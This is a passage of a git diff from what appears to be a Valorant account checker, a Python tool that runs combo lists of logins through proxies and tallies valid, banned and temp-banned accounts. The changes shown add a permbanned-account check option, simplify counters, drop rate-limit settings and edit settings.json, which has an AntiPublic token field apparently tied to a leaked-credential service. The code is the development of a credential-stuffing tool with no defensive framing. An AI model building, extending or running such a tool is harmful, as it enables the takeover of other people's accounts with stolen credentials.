menu_choices[6]: + elif edit == menu_choices[4]: print('Your AntiPublic token. This only matters if you wish to participate in the AntiPublic alpha test.\nYou can ask for access on our discord server.') resp = input("> ") data['antipublic_token'] = resp + elif edit == menu_choices[5]: + vars = [ + Separator(), + 'Yes', + 'No' + ] + resp = inquirer.select( + message='Do you want to check permbanned accounts as if they\'re valid?', + choices=vars, + default=vars[0], + pointer='>' + ).execute().replace('Yes', 'True').replace('No', 'False') + data['check_banned'] = resp else: return f.seek(0) @@ -363,6 +354,7 @@ class Account: puuid: str = None unverifiedmail: bool = None banuntil: datetime = None + isPermbanned: bool = False region: str = None country: str = None lvl: int = None @@ -381,10 +373,9 @@ class vlchkrsource: def __init__(self, path: str) -> None: self.filepath = path self.tocheck = [] - self.valid = [] + self.valid = 0 self.banned = 0 - self.tempbanned = [] - self.rlimits = 0 + self.tempbanned = 0 self.errors = 0 self.retries = 0 self.wskins = 0 @@ -434,7 +425,6 @@ def loadfile(self): self.valid = data['valid'] self.banned = data['banned'] self.tempbanned = data['tempbanned'] - self.rlimits = data['rlimits'] self.errors = data['errors'] self.retries = data['retries'] self.wskins = data['wskins'] @@ -451,7 +441,6 @@ def savefile(self): "valid": self.valid, "banned": self.banned, "tempbanned": self.tempbanned, - "rlimits": self.rlimits, "errors": self.errors, "retries": self.retries, "wskins": self.wskins, diff --git a/src/main.py b/src/main.py index 2162206..321cb66 100644 --- a/src/main.py +++ b/src/main.py @@ -210,9 +210,9 @@ def main(self) -> None: s.stdout.flush() scheck = checker.simplechecker(settings, proxylist, self.version, comboname) - isvalkekersource = bool(False) + isvalkekersource = False if type(accounts) == systems.vlchkrsource: - isvalkekersource = bool(True) + isvalkekersource = True asyncio.run(scheck.main(accounts, self.count, isvalkekersource)) return diff --git a/src/system/settings.json b/src/system/settings.json index 6e60944..b3200da 100644 --- a/src/system/settings.json +++ b/src/system/settings.json @@ -1,9 +1,7 @@ { - "IMPORTANT": "DO NOT SHARE THIS FILE WITH ANYONE", - "max_rlimits": 3, - "rlimit_wait": 30, "cooldown": 0, - "new_folder": true, - "antipublic_token": "UwU", - "antipublic": false + "skip_kr": "False", + "check_banned": "False", + "antipublic_token": "", + "antipublic": "False" } \ No newline at end of file